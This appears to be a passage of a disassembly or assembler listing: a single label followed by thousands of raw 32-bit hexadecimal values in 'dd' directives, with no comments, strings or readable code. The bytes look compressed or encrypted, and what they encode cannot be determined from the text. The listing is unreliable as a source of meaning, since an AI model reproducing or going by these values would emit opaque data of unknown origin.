55108B7Fh dd 0EC21D12Ch, 9C0F91Bh, 97ED2119h, 98523108h, 89B0A20Ah dd 93620242h, 1057B403h, 31B90D08h, 67C5F1EFh, 18D1201h dd 88CBBEEh, 71184740h, 63ABBE40h, 641F10B7h, 0B078082Ah dd 31A38420h, 5728DC60h, 0B5088861h, 81F90C9Dh, 8880A2F1h dd 0C018C6F1h, 0E233087Ch, 3275C97Bh, 33281481h, 510184A3h dd 0CE960810h, 183C6B10h, 54308E6Eh, 0D0618080h, 248210C9h dd 64913B00h, 4B03DF63h, 78103919h, 19892908h, 1C28A1B4h dd 0B17E88D4h, 0C31AB08h, 7C187D2Ch, 0A9C5BE40h, 398CE1D4h dd 7C593267h, 0CC169A80h, 7E695008h, 870895FBh, 0A45418A0h dd 80C38B38h, 0A8098D6h, 51E98149h, 2296CCCh, 36D84817h dd 0B108C4ADh, 0F4F80A85h, 821D788h, 0ED0822BEh, 0A05D1FB5h dd 1018A449h, 0C924F74Fh, 8C0B608h, 206E1820h, 95492ECCh dd 810A315Ch, 0B501895Bh, 8C1888B1h, 0B9720806h, 10844A15h dd 3375CB4h, 8C946E1h, 189B5A33h, 0DA691035h, 0EC3B106Bh dd 33A8432Ah, 0E8E96809h, 0A05D1019h, 718C9A08h, 0FF10BA2Ch dd 0AAF9BB41h, 17B1601h, 0D401F022h, 9AFD01C2h, 1425601h dd 0D052CB90h, 9F83022Dh, 72D802h, 0E8FC9C60h, 0F825A499h dd 5EC22A75h, 901B4D7h, 2F205BDAh, 2752C47h, 8913EB18h dd 0DEA7B90Eh, 105803Dh, 49408F44h, 75C90B02h, 0C3748BF7h dd 3DEA039h, 0EAFE95F0h, 1C0338Fh, 304FB10Fh, 4AC2C82h dd 0A4FE51E5h, 105B750h, 0F928C4B1h, 7BE1C05Bh, 29EAC40Ch dd 8BF65851h, 0B4274E4Ch, 38688280h, 9589E6Fh, 0F4B217AFh dd 2F366246h, 0B9511C84h, 0FBD81498h, 905ECB2Dh, 5E13CC02h dd 0BAEAFF3Ch, 0CDF30827h, 11A0422h, 1432C296h, 0DA2E7037h dd 88163B8h, 0CE452A5Bh, 25D078A0h, 5C500BC9h, 0F1027877h dd 7FFF71EBh, 4F05E855h, 0AA014A3Ch, 0A400A124h, 0F4E7EA7h dd 6927308Eh, 29F68120h, 0A820A004h, 0E0ECF189h, 5D003CA6h dd 2D20F569h, 4F441546h, 47910C3Bh, 7303B867h, 316FBE02h dd 852FE1C7h, 2F5B3C9Eh, 215F0696h, 3B4C9F05h, 0B4D658BCh dd 4A602BDFh, 10B05058h, 0F6C81BFEh, 0C5E04D8h, 66045300h dd 0C74AC780h, 6728E026h, 163B0F58h, 0ECEFE7C7h, 5B1CFA12h dd 0D00E6D04h, 0E7D1972Ch, 0A650F67Ch, 3BDE8DC6h, 0C103BCD5h dd 3223711Eh, 519A0C01h, 0F101223Bh, 846E9F9h, 5E14810Ch dd 51CF847Ch, 0C0358BA6h, 5510BE04h, 80EB30B3h, 79DD72D4h dd 63BA521Eh, 73BA5BAh, 59846850h, 0C7C0ACB8h, 813D1E25h dd 7B37F304h, 57F05201h, 0B92B4FD3h, 94BDD38Dh, 0D22D9713h dd 0EEFE2CBBh, 5E316D28h, 0E3D19051h, 61AD8BE0h, 0EDE9103Ah dd 7426A7DDh, 22E97832h, 98BB65Dh, 565D5EF0h, 0EC5B2DB7h dd 31EA966Fh, 1AB68A1h, 12937C01h, 79CFBE5Fh, 3B58914Ah dd 0FC35AFEBh, 0F4D037DFh, 0C65C0E0Dh, 7C0C2C58h, 48433055h dd 0F8E780CCh, 55AC06C9h, 0F7092964h, 0D2F908F0h, 32D835ABh dd 68D2C130h, 16137A0Bh, 0B6AA1884h, 0BDE98295h, 54D15D21h dd 67F1953Ch, 0BB634A5h, 92E9F3BFh, 0E90B078Ah, 945FBE1Fh dd 66D1951Bh, 3C7AA43h, 4FA1BD10h, 7C182ADDh, 0F5FB22E4h dd 0EA88242Bh, 11F90CFDh, 1341FA93h, 0FB78E47Eh, 158E7E14h dd 714704DEh, 54BC2EF0h, 9649C8B1h, 0F2A83338h, 5042A388h dd 0ACA08FDh, 0CAD41DEAh, 0A929C74Ah, 1211645Dh, 0A0D94E74h dd 95A82767h, 1612A0C6h, 4FF96D49h, 90580840h, 51EEB56Ah dd 79B518F4h, 8D0A987Bh, 2E4AEE68h, 0F11011F3h, 0ACF15F0Fh dd 6025813Ah, 6E29E1FCh, 13B8AC65h, 31F6572Fh, 0E928E701h dd 0A2934B4Ah, 82960442h, 0C0F24E40h, 50A99106h, 55851434h dd 0BDB0D853h, 0D5F143Bh, 269A5B50h, 5CAD883Ah, 84FD2095h dd 54C6C282h, 0A98F260Bh, 542FD5E8h, 4F5F11E3h, 5757A0Fh dd 0B364293Dh, 88C404AAh, 566F0E3h, 0CF692204h, 56AC508Dh dd 946AA704h, 0B7DD8072h, 0A120E925h, 0CC80017Dh, 0B28F0F23h dd 0C0128783h, 0ECC206E4h, 7E1F78Ah, 40F412C2h, 0DD1A082Eh dd 0DD469810h, 9693BF5Ch, 0EB70F200h, 489CE95Fh, 12D86E56h dd 0FE837BDCh, 60BEF05Ah, 10C3397Eh, 1D4BB973h, 1310FFBCh dd 0B36809C8h, 0B6B9185Dh, 5F7DFECEh, 88B6A9BCh, 0F35916FCh dd 0DA291FCEh, 51C34E98h, 0FEF212B5h, 9A970EC5h, 0C01ED66h dd 0D1A1F35Ah, 56A71D3Fh, 9746E29Bh, 0BFAA39C1h, 29F885C3h dd 60C8EEF4h, 0BD5D49EDh, 7D45EA25h, 0B6EDE4B1h, 871AD632h dd 85F300Dh, 481EE8E1h, 49E490E0h, 0F7031507h, 0E6D0FC12h dd 0A983FDC2h, 1D0F162Eh, 0F8F9A3EEh, 0B4596AA8h, 8057E4E9h dd 32AF3420h, 0E7C15F12h, 8ABB4C09h, 0D2675C11h, 426B9602h dd 0E9FC609Ah, 7B8E2D30h, 0F707837Ch, 0BFA24DD5h, 0C1CCFDB5h dd 0A4B5BC5Fh, 0E433E92Ah, 91B9D1EEh, 0FC1C1238h, 164308F3h dd 9A253428h, 0A5BAC76Ch, 0DCCB6EDEh, 9035841h, 0D505D6D6h dd 0EACAD8ACh, 48E13B10h, 4BFA2D60h, 0EE48E1FEh, 20859964h dd 0D0A00C6Bh, 3479794Ah, 1F7BCDEAh, 500E6DA6h, 8A59E3B8h dd 3C04DB18h, 0F0F2016Ah, 17FAB16Ah, 99CC046h, 1E985BD9h dd 0AD48EFF5h, 0F6DB12E8h, 0C2D731EAh, 5689488Dh, 3A4E7C51h dd 2D0F15E8h, 0A6CBBDFAh, 55A0065Dh, 50386E0Ch, 5FEA71D3h dd 51350064h, 0F86E2C66h, 9FC71C48h, 0A9E2CCFBh, 0BC30825Fh dd 2BC5E522h, 0DBB31DD0h, 54EDC145h, 3A127AE3h, 0A0E18FC1h dd 58045976h, 0AB324F70h, 1F012E85h, 0CDB08FA4h, 5F587728h dd 2428FC4Ah, 0E9C30A02h, 0AD7F5A49h, 8E162619h, 0D01AAABEh dd 5051AC04h, 5FC4F6B4h, 7D87FA94h, 7FDC2372h, 50E7C8A0h dd 64C02756h, 6829181Bh, 0CECB35E9h, 73D0C22h, 49690506h dd 6DA683A0h, 8031E121h, 0E3E77168h, 8E3B445Ah, 5E141950h dd 126FDA29h, 0C5E90F99h, 261585A6h, 53A89895h, 64C12668h dd 0BF576011h, 9C255B4Bh, 1F12F019h, 0D3EC8EBCh, 0CB8B09F9h dd 32B78406h, 58C7719Dh, 854CA0E9h, 5A68C24Ah, 0CB81DE57h dd 9C1E9706h, 78E8829Dh, 4286436h, 58D3BBB9h, 0D6081A29h dd 0B45E179Dh, 2B0CC7D3h, 0BC4449EFh, 30670388h, 0D27EE97Ch dd 5C36840h, 0C50C9D09h, 5282D56Eh, 4CE84502h, 0F6031EC1h dd 308B0FD9h, 0B8174566h, 0E1288D01h, 518F10BAh, 5E952368h dd 4930B91Ch, 5F0873EBh, 0E58180C2h, 1A31413Ch, 4D860CC1h dd 4F205DE0h, 0F5C403B2h, 282DE910h, 4EF82E5Ah, 4C09B24Eh dd 74EF0E0Fh, 0D8E9221Fh, 5D11E991h, 107AA22Eh, 74230A29h dd 134518B4h, 7471FAAh, 0C8EB3D96h, 0BFB1E4B0h, 2BA0EEC8h dd 20FF014Bh, 760CE6CBh, 23DBD3Bh, 0A65DCFCEh, 0AA286022h dd 68A92C7Eh, 0A1B8583Fh, 16013173h, 97CAD405h, 0DD80298Ch dd 67F1B951h, 0E93B2A73h, 0B838E5D1h, 155CFA05h, 2D072980h dd 0C40116DAh, 0E0FDA13Eh dd 213DB9E5h, 8CC3A480h, 8EA8631Ah, 0F68C1E8Bh, 17799474h dd 0CC9422A2h, 35BACE20h, 30EE14A0h, 63A20DD7h, 178CAF10h dd 0B1AC4768h, 0CE6F8755h, 9CA04E44h, 351C6245h, 571A1B22h dd 167D6892h, 27289437h, 9D4A2CF1h, 4DE95782h, 0B6520036h dd 0C65CFE6Bh, 9AF112E8h, 9703AFEDh, 2AB35350h, 8806F3B8h dd 285BD814h, 0E6C01EAFh, 5866845h, 0B0B4C731h, 852CA57Fh dd 396BE904h, 0FB9F12h, 0C1BDF2B2h, 70B7D56Eh, 2AD18015h dd 73442D09h, 0CF54B68h, 2A61E5E1h, 3074D9F2h, 6848474Ch dd 963B7Fh, 0D5317D62h, 534CC9EEh, 6BB4ADEh, 854A203Bh dd 3B252EB0h, 5A3955EDh, 993665A4h, 0D92F1050h, 6F02B31h dd 0FC144FBCh, 1612612Fh, 4C888254h, 0C00B08CBh, 0F2057FE0h dd 0E2CF972Eh, 0DCA27891h, 0D7291C2Dh, 0FBF6AB60h, 0CC4CA59Dh dd 0BE01D81Ch, 6EB55DB9h, 13D58520h, 0F0372E74h, 0E40C226Fh dd 1CDEF751h, 6401121Bh, 0E9430133h, 3BDCDBFEh, 0B4905914h dd 0C8F788BCh, 8C8C9C1Bh, 675AB007h, 649792D0h, 816310DDh dd 1E7A0CF3h, 60E23B7Ch, 41E00244h, 0E48AECC6h, 71CDD14Dh dd 1E47709Ch, 208C231Ch, 1BB0F12Fh, 2584C158h, 25B2FCE7h dd 5F5AA575h, 87A572AAh, 380AEC77h, 957047A0h, 0F8B711EEh dd 0C91FBE59h, 0EA436F7Eh, 419C85A9h, 18C317BFh, 1A0D063Eh dd 1B902032h, 0BA525001h, 4B420AE3h, 1367FB20h, 0FF16716Ch dd 6E17BD53h, 163A32E1h, 627A96Fh, 5D336684h, 3691080Ch dd 0B012164h, 5F0C9604h, 68C2E538h, 0E901764Bh, 220337Fh dd 6BEA5309h, 3E81F238h, 15E967FFh, 0E3B6920h, 765D4521h dd 467C0AAEh, 227C26CDh, 0C33420CDh, 0A90E6498h, 0A7ACE5F6h dd 0EF9047D7h, 5B4B7824h, 2D26A193h, 755C3027h, 0C09482E9h dd 2576BE3Eh, 409F1629h, 4C586B9Eh, 0A73A1328h, 0D34F6B62h dd 1EF82500h, 27105139h, 0F06EDFD2h, 23B4038Eh, 0A84BE310h dd 2209047Dh, 5F0C07D4h, 520224EAh, 0A3E91218h, 0C94E6867h dd 20C8B8F6h, 83982AD0h, 2CBA1F4Bh, 8B0968E2h, 5722B032h dd 9A255280h, 2B48B376h, 3FAA184Bh, 813A09CBh, 9D792058h dd 50F5411Dh, 2C6CC382h, 40EEE228h, 4BFDE980h, 3E998DA1h dd 3DBF6A12h, 1EE29614h, 374D84D0h, 2107008Ch, 0F50D59C8h dd 1E5DAC48h, 26741AD9h, 930AC02Ah, 0C7EFC028h, 0C0EFD0B3h dd 7308E73Ch, 0F6161A64h, 0E291D1AAh, 22E23D58h, 0EEF8B040h dd 42944E86h, 0A75DF324h, 3855BEC0h, 0EDE67F82h, 3024C304h dd 4B8173Ch, 315E2C76h, 5820BE82h, 0E3B0CDEEh, 69E1CC70h dd 3EBE864Ch, 8E448024h, 0F3DBB5FDh, 0CE654CB1h, 3ED6DD2Fh dd 350D704Ch, 6F7D2068h, 6BB1E924h, 9AD80193h, 0E7143D5Ch dd 0D9E95886h, 0F17255B6h, 626A031Eh, 0D785C2D2h, 3FC56E80h dd 694F7B35h, 0B04F596h, 9260C868h, 6B17D862h, 105D0917h dd 0F6A2BB75h, 2297AABh, 0FA02B791h, 1655DF01h, 0C8EF0219h dd 0F4AEB68h, 0A5D740C1h, 0F754C818h, 55B00559h, 99F83171h dd 64660CCh, 1259AAC0h, 762D9471h, 38280647h, 0CA5C63E9h dd 3FC3800Fh, 829B2451h, 0A3C574B3h, 40B1291Dh, 0A0603FA5h dd 2609194Bh, 6C7F5C5Bh, 324B0A54h, 0CF05B231h, 0D6C24981h dd 7A481625h, 7C54C1F3h, 175834E9h, 4576809Eh, 181AB416h dd 0A38DA29h, 8A430B08h, 5C541727h, 5CAF650h, 4E7A6855h dd 27E971CCh, 1235006h, 0C4A5646h, 7848D3FCh, 15136911h dd 9D793045h, 685CC580h, 58015A26h, 22795D5h, 8C175BC5h dd 76AB0853h, 6813B0EEh, 0A8CC2587h, 0A5C59C06h, 0B0153C55h dd 78400115h, 77682369h, 245B767Fh, 0B04075A8h, 5016DD70h dd 129CA05Ah, 0A86D2865h, 86460670h, 21A425Bh, 0DA182DBCh dd 3174D789h, 106C684h, 844DB3BEh, 6F1DF309h, 313EF8F2h dd 71C715FBh, 0B7B05EC2h, 6871A846h, 961E1202h, 12000C15h dd 84EC5C5Eh, 6805929Ch, 37BE5778h, 18579BAAh, 0BAFBE3Ah dd 314AC806h, 24FB03ABh, 0AEDF050Bh, 0AD172A8Bh, 9BC35BC2h dd 7D13F891h, 473B4A97h, 0A262E01h, 7E2C3C76h, 9DF4A007h dd 7D002D67h, 0C10ED754h, 70862EEh, 425867E9h, 580E0462h dd 0CCA25161h, 0F405A558h, 83E9A43Fh, 0B7EF3594h, 0D35C2DE8h dd 7A142DCEh, 0F45D5425h, 84F5C9D1h, 0F6C80C4Fh, 203741E7h dd 22F756D8h, 0C1C609C2h, 25F1D8D1h, 8654D5F7h, 0A553238Dh dd 14438A24h, 82AAD42h, 0F663FA09h, 1BA70682h, 0CE018FDh dd 81719C2Dh, 4EF0A5Fh, 2C20DC0Fh, 8934A5B2h, 74010A4Ch dd 0D9315B5Ah, 0C535CBF5h, 68522C7Bh, 0F8334A5Ah, 754DC952h dd 0A5AAA82Ah, 3669CABh, 0CF8E35Fh, 7937BBE0h, 4A908B5Fh dd 0D32C9FE9h, 0C103412Dh, 2F02AB55h, 31437BB5h, 0C6230043h dd 0DF8AB5EDh, 67B0F089h, 848AC15Bh, 0DC2215Ah, 3C3393Ch dd 0B6525843h, 74CEB97Bh, 97B4FCFCh, 5700055Bh, 0C748C168h dd 11B5A170h, 71BD5500h, 4E583F16h, 79780E80h, 0E91E0CD8h dd 0F29D32F3h, 3363671Dh, 947BF027h, 25DA5C5h, 0ACB21C1h dd 40BB0DD2h, 30CD30ADh, 6D660E13h, 83650AEh, 4BB2E912h dd 0C046BDC5h, 1A48950Bh, 5844E946h, 1B09883Eh, 801E65BAh dd 980BD7C1h, 0EEFDA0B3h, 0B5490C55h, 20EB8C50h, 0BFDDCF1Eh dd 0E32A1C6Ch, 0AE77AA21h, 785618D3h, 0B203489Eh, 0DBE9BE09h dd 0EE81A817h, 243A16EFh, 119F50Fh, 0FDD15808h, 40248246h dd 0E3096512h, 942FB098h, 0CC014134h, 0BF0457F0h, 49680F3Bh dd 3C13EEh, 0C78108AFh, 0B73B218Ah, 16097C05h, 751A3A38h dd 0EE9A68Fh, 89ED7C25h, 0A6F0780Bh, 6BEC00B8h, 99050F54h dd 3C752927h, 8977B13Ah, 0C0EFE925h, 0EE1B2C37h, 0C3B2B8h dd 2184F681h, 728922ECh, 168A304Bh, 82CAE913h, 14F75D86h dd 0DC6828A8h, 0C0AC3114h, 2BC8300Ah, 5A05DAE3h, 0FA6C5B68h dd 0C81B7533h, 138135F2h, 113B18E7h, 0E9178BDDh, 5E90AC5Fh dd 1F484F8h, 0AD62D893h, 0A068717Eh, 5B5A0828h, 79B112ECh dd 0F490012h, 16B0318Ch, 49E6DB3h, 0AAB915C1h, 0B69A4B7Ch dd 8B56717Dh, 3DFEF696h, 8C89DE6Bh, 522A58Ch, 0C9DF3709h dd 272754E8h, 74A89E3h, 0D01C07ACh, 0EE21C93Ch, 0CE00966Ch dd 44696261h, 9416860Fh, 8E9065Ah, 17270B4Fh, 0E9C7D1CEh dd 58BD0D16h, 0D76CB5D9h, 0E188AA15h, 1A0AD216h, 2119A83h dd 0DE4FFE4Eh, 6026C623h, 30587616h, 0C735796Fh, 83100FB1h dd 0F6246654h, 0F3440956h, 84F9DAA5h, 15CAD51h, 594DF4BEh dd 0BDF05745h, 0BD3EE175h, 0F7E0D318h, 3ACE053Ch, 0BEA801E9h dd 0BCF20BCCh, 56D3271Bh, 7CE14A69h, 4B8FC761h, 813D315Dh dd 0E9C5D015h, 4DBDFA2Ah, 37688F3Fh, 0C222F853h, 66015EBDh dd 7B220FF8h, 8FAB3CD6h, 0EE3034A0h, 0C6038059h, 0F1B050C8h dd 59F1A566h, 0D0D558D5h, 0CB50806Bh, 0E915C630h, 48A008D3h dd 0D51E4B1Ah, 6A607DCCh, 0C3B53C51h, 266B6A18h, 9F166CB9h dd 41BC6847h, 0E57CEC5Bh, 405B500Dh, 3079DDBBh, 0F01F65AEh dd 0D805F65Ah, 7802870Fh, 0E909678Fh, 271AA3D0h, 1AE8E301h dd 8A64801h, 0F33EBC99h, 60FDF05Ah, 0ED02994Ch, 1EDA5DB0h dd 8BDA8FFh, 7C841C31h, 7DC65EFDh, 0FDE9C899h, 66A6226h dd 0D58F0F38h, 64C9F273h, 0B0C4129Ah, 0E106C0B6h, 570E902h dd 62808C94h, 3DFBAE55h, 5F74E90Fh, 686D298h, 1337382Ch dd 2C969308h, 821ABC10h dd 0C5DF3441h, 0E95483F0h, 204B2909h, 2D7924B9h, 15207BC8h dd 764619EDh, 0C00B0CC1h, 0C67E17BBh, 9DC28E80h, 5E9B890Fh dd 17C11FDBh, 0C5AA0406h, 83E04D72h, 421BC17Bh, 0CAB900A2h dd 5913F58h, 94C937EFh, 4B68C3A1h, 40CB6A16h, 0FFDC0C2Dh dd 0C0E854C5h, 88E956C1h, 0DABB05E6h, 0FE3D1859h, 0B7514F67h dd 570935FBh, 30367788h, 0D9B25Ch, 0EB686650h, 9A5CE97Eh dd 0C2801617h, 31CDB12Eh, 681A2403h, 530B3A04h, 6FEC5E5Ch dd 9DC0D425h, 70CEEC1h, 8F74DDE9h, 6090BE80h, 8A4A9FB9h dd 0A4313B24h, 0B400C726h, 0E9738252h, 0D2425453h, 351702EAh dd 0D029BC0Fh, 403013E1h, 149DB9B7h, 811DA000h, 7C1B44C9h dd 2A38906Dh, 0A3D62FABh, 8D84C938h, 0C6889A50h, 0EB80165Ah dd 0B807FA13h, 0E483EDB4h, 1AECD8B9h, 0C474F3E9h, 30D89501h dd 27084EB7h, 47561D2Ch, 121EBD70h, 0BCB48492h, 0EDB14AEAh dd 127139A5h, 5CF9E9C2h, 0AF5F136Ch, 0A63F62DDh, 0D82900ABh dd 0DA33CE05h, 0F651BD65h, 0EC4DF769h, 68F148A7h, 11122E99h dd 0BED7A550h, 0D7F448E4h, 8418F94Eh, 0A7BA5FFBh, 0ACF4CD8h dd 8F010782h, 1C79878h, 0EF31545Eh, 240FC6E9h, 4578DDCCh dd 0B200774Fh, 437B60B9h, 0FFECA039h, 0A1CE7E48h, 78407E6h dd 0AD4C50E9h, 97886C0Ch, 685809C7h, 681802DDh, 5135E955h dd 90FA12F8h, 70576A65h, 0E629DD5Ah, 5ED7C8CDh, 9299FC48h dd 5F6010E5h, 45601741h, 0EF674A2Fh, 940C3008h, 0F60091Bh dd 587F2628h, 73E91721h, 0D22EBCE3h, 27607CF5h, 9C68758Ch dd 0F79B3C1Ch, 40B918D6h, 0DE109776h, 9858908h, 0D4DE8A68h dd 932AB28Ch, 0C2F3AEAh, 0FA711725h, 0D468C261h, 0F0BC983Fh dd 78A25C7Dh, 9E1A8641h, 354E5E61h, 0C503923Ch, 0C39F7AAFh dd 9A018D49h, 7E507C10h, 7A3D9430h, 2BD4FD71h, 2FBB9E5h dd 0F12C8483h, 4FB9EB60h, 0EA6C9427h, 0C80809A6h, 818A53D3h dd 0CC80E0B4h, 4A30D87Ah, 0AC5D728h, 31623D7Ch, 0C7EEEDF5h dd 2B561777h, 4CE94F32h, 700CB92h, 8846A9Ch, 0C15BD880h dd 2D0300E0h, 44A92B10h, 305E64E9h, 0E2E508BCh, 0A8A39F10h dd 0EB7D373Eh, 46FB409Dh, 0E597572Bh, 0C0509629h, 0FAF0E23h dd 83EBC12Fh, 32681F8h, 7629E341h, 0F3D1053Dh, 63F2DC48h dd 0AA2209B8h, 0B8C305EFh, 0C1504C0Eh, 2318AFBh, 0B14CDD5Bh dd 90195669h, 9FFD7318h, 5C0944B6h, 1A4F8268h, 0D9D660ABh dd 9E4C9F0Ch, 0C2F07C97h, 0D3578CB7h, 1298A2F3h, 0E12A6850h dd 6EE82EE9h, 92FB40B6h, 43ACD40Bh, 0CC95A24h, 9188636h dd 4A5BDA12h, 16533101h, 0BA430866h, 8ABA94C8h, 92317C2Fh dd 12EFE9D5h, 0B9602731h, 8F8D0D7h, 0E71E5A35h, 0F96631F5h dd 46254B6h, 9FC75B18h, 54974862h, 7AF25A6Dh, 70B5D354h dd 0C55DC9CEh, 5AA94508h, 421C2A10h, 362E14C9h, 0E07100Eh dd 39A6805h, 6C8F81CCh, 0CD3101C8h, 0BE0161DCh, 16D48300h dd 25D96D1Dh, 0EC492BFBh, 0AA7A3063h, 208D2414h, 0EF550024h dd 5F21DF72h, 1336E49Fh, 0E2010803h, 0F92514F6h, 650ADEE5h dd 0CA82A541h, 77724B8Fh, 0FFED9900h, 892FBF7Ah, 0ACA271D5h dd 1D030014h, 295E42FCh, 0DDA8F04Bh, 4405E8B1h, 51350413h dd 0C2300593h, 0BEECF1C9h, 0E16B2E2h, 7F014AB4h, 3785CB4Fh dd 548ED2AEh, 783A9C2h, 0AD022F17h, 3A0113E3h, 63AD4048h dd 0A2F782ECh, 0EDFFCDh, 0F5805CB5h, 0CC7CD97Ah, 2DB5A097h dd 0E51679B2h, 57750F81h, 2C095B0Fh, 17491000h, 0CF29BB4Fh dd 0AB26C26Ah, 0CA3A1BD5h, 5BC4834h, 503D198Ah, 3BC0B060h dd 98AB3D12h, 1B176F48h, 0F68129EEh, 3F7C9DE9h, 4F7C027h dd 79BC5E8Eh, 4DDF617h, 27E18C5h, 0A9C63CE9h, 517300A3h dd 0E6585C52h, 42275CB2h, 32209727h, 0E78C0FD5h, 9127A29Ch dd 813E5A19h, 0B7210E6Eh, 41BF3C64h, 42850FDAh, 118A0F35h dd 87862A84h, 32A8E280h, 0FDFED6EAh, 8A48714Eh, 0AA4A2E06h dd 3080C3Ah, 27CCB17h, 46717B66h, 6D390F00h, 0A049B444h dd 140CD008h, 6AB85003h, 2D88231Fh, 0A50901F1h, 0FA22E972h dd 99F30574h, 0AF60763Eh, 0B6E31104h, 81B721FBh, 620EA5A6h dd 0E2D17D64h, 68575180h, 541F0E8Eh, 97291626h, 19CF35C0h dd 5B4D5313h, 68008CEFh, 7325209h, 20E07A76h, 0BA3DE59Bh dd 5B839235h, 0AB6613EEh, 1FA6A681h, 9E588934h, 9A405290h dd 5A061E32h, 3635580Bh, 459B20Dh, 9D300E05h, 0A710FA45h dd 34E93F07h, 80FFEB99h, 5770CC4h, 76134Ch, 805DB1CEh dd 0C98F0F4Bh, 0DE4B01CAh, 7D818BC9h, 89C6006Ah, 80210C71h dd 50082EE6h, 0AC9C4967h, 956E5404h, 0CB825659h, 54205DE8h dd 9F63B7C2h, 95BA5200h, 29112569h, 0EB8CC0D3h, 6C8F6F5Ch dd 883F5A4h, 6B170C41h, 77C516F2h, 0DCE6ACD6h, 618C71EFh dd 637E3A68h, 5C787863h, 136277B4h, 0E9BC411Ah, 407AC2F1h dd 42FFE2A4h, 9EF81209h, 5C2D6F9Ch, 80570072h, 890F60F6h dd 7A49FD24h, 0E97ECE81h, 4364CCC6h, 0E0380066h, 64055346h dd 71584120h, 0FB6126D0h, 92D881BDh, 0D0E9E8BBh, 5ED5002Eh dd 875FFA21h, 0D6F7F216h, 8A0609EFh, 4E5EB6E6h, 444BF11Fh dd 443CFCE6h, 876F8253h, 272D3306h, 0DFA0E601h, 4EE319EAh dd 0BD604D96h, 2D3559AEh, 7C784D54h, 32C1F678h, 124872Dh dd 6015E17Eh, 0FD830589h, 9F3CFF38h, 0EE67E232h, 890C5F93h dd 0B811DAh, 66C560BBh, 0F113840Dh, 35482102h, 41252B0Fh dd 79D06475h, 5ABECE36h, 81853D89h, 94CED7ABh, 0C8E99788h dd 0E8A542Fh, 2D1C35CDh, 664A1314h, 8428CCC2h, 17888A97h dd 0EEC02C02h, 2D630878h, 0BE5EC425h, 23D88B47h, 8BE28F51h dd 6259771Ch, 17A8BCECh, 0FE418338h, 6B7A0D00h, 94F76210h dd 0D7D60293h, 95FBFFFh, 0E8477D02h, 0A21FC78Bh, 7F57CE09h dd 209D969Ch, 513106E2h, 564901Dh, 554B56E7h, 54A18536h dd 50185D64h, 0A9EAAFA5h, 4660DCF2h, 0B539800Ch, 0F18B09B1h dd 4ED85B5Dh, 26930F18h, 5350Ch, 0CB31195Ch, 6C685159h dd 36C84714h, 0EB0216C0h, 61C305C2h, 0F93BEF9Ah, 0E2EA86F3h dd 5AD53CADh, 0D9620A3Eh, 2C2C1133h, 0ECBD0455h, 0C3544D12h dd 1C4E3C27h, 0FEFB53AFh, 56BCB725h, 29317020h, 0C43A56D0h dd 60141334h, 2F7E95Ch, 0D74F791Bh, 911BFC7h, 0CB3E1C6Fh dd 0E496108Fh, 0C49E8149h, 0BB015157h, 680AA1E7h, 8C5E364Dh dd 51FB7AE9h, 0E24CFE30h, 0EE5C059h, 0EC58005h, 1ED6E80Ch dd 2551B881h, 85967CA8h, 0B9E053D3h, 114EC6DCh, 5B7C86h dd 51942C92h, 0D9F6FDB1h, 1EE904C3h, 0C2F502AAh, 320B1570h dd 464CEE80h, 0CC368B0h, 0E5B101F7h, 0E7F005C4h, 0C8D1F449h dd 3F24EE3Eh, 1C03960Ch, 0A4009F09h, 0C750E7C5h, 0F5071690h dd 39F00D53h, 0E5B3EDC0h, 0A19A5A79h, 0D03E2806h, 85EE25D0h dd 0D9FA58E9h, 0F529433Dh, 2969A0F0h, 8136F0B5h, 0F0715B08h dd 2123CB6Fh, 2F40281Ch, 6B591E58h, 0F980ED92h, 0A0815D5Fh dd 90DD2EEh, 0A2685B0Eh, 0BA544FDh, 0D0B4E957h, 0F08A71D1h dd 0A7409E8Ch, 0BF7AB14Eh, 2BB7AEE8h, 2DB425B5h, 0C6C5D1FBh dd 0E41F3005h, 0D35C8082h, 9D0ED060h, 85E54BC0h, 50A1331Eh dd 2E9CD514h, 0DA09F77Ah, 89030E09h, 0A530FF73h, 2921B88h dd 5450FC20h, 0CEDC029h, 28B52F40h, 1202CAA0h, 0A7E97C66h dd 261E5A16h, 0AF916D58h dd 86C6D742h, 2628310Fh, 84697DB7h, 981CE017h, 0C29E766Dh dd 0D2F932A8h, 0FA3BB18Ch, 83C09D31h, 3913B9C3h, 80EB3F32h dd 16F7CB51h, 0E93B6BE2h, 0D6E84F2Bh, 3890BBD3h, 3D7B742Dh dd 0C4275DB9h, 52402A62h, 0CC7F7124h, 0E00BC7ECh, 89DBF7DFh dd 0A9868A69h, 0C959088Ch, 231309C1h, 0EEE35475h, 5DC39BC3h dd 582FEE16h, 9DB1648Ch, 0EF759609h, 0BD5C9314h, 60258411h dd 0D9571E5Ah, 0D9A13CBCh, 4807E069h, 2025B8DCh, 284C79FFh dd 0E7375A73h, 0E844031Bh, 60BFA52Ch, 5BB551B0h, 61E58002h dd 74F255E9h, 488A502Ch, 48D50153h, 9A1525B9h, 5904C031h dd 164B9EDh, 0EB96BFC7h, 25E13F82h, 17427D09h, 2769F450h dd 0E70AB2FAh, 4E0D5F2Fh, 6C027E69h, 2D066F54h, 0EF01475Fh dd 5D088136h, 0F1F5FC2Eh, 418239ACh, 602026CDh, 31B86057h dd 3E98345Ch, 9AE8000Ch, 75D9E94Bh, 0A6DDF9B5h, 73B00FE0h dd 0E8B22113h, 95E7BE4Ch, 85FC2D8Bh, 0CAFB9957h, 15D35174h dd 3590AECCh, 5ABA0E38h, 84D5A036h, 6C400C0Ah, 510105BBh dd 806352B9h, 9F646C20h, 0DE81F989h, 34058C0Fh, 0F20681F3h dd 1DAC4504h, 71BD2A18h, 0F3A334D8h, 0B645C0F5h, 2AB0175Fh dd 8C0A9D0Ch, 30D8402h, 0E92EDA56h, 2E5AF78Bh, 0CA158EE6h dd 0EC5F6E35h, 0FA37842Ch, 55566603h, 2A7ABD98h, 0E9179895h dd 7825499Ch, 0E1621E0h, 0F30C5E60h, 90CC58ECh, 57A709C8h dd 0DFD7248h, 13B78F6h, 1A3D6CEDh, 0F8C4010h, 908CAC4h dd 16F20E9h, 804FB753h, 0D60670CFh, 416AE141h, 38A22AD3h dd 7DFD28ECh, 4CF334Dh, 0F3A43E2h, 70BD194h, 6B6EC55Bh dd 0FD90987Eh, 20EB7770h, 0D12EEC94h, 0CF01B9EAh, 92578803h dd 959EDBF8h, 18D97CA1h, 0B4942A1Dh, 49ACA880h, 10D3B66h dd 1F117948h, 8DF50256h, 622CE210h, 0EDEC48EAh, 7BFC05E6h dd 12EA291Fh, 42798093h, 3AFB800Fh, 6FF24040h, 5490266h dd 315AD689h, 48EBCF3h, 4B6E4852h, 29300DFAh, 940B0757h dd 3039FF55h, 589D2A7Fh, 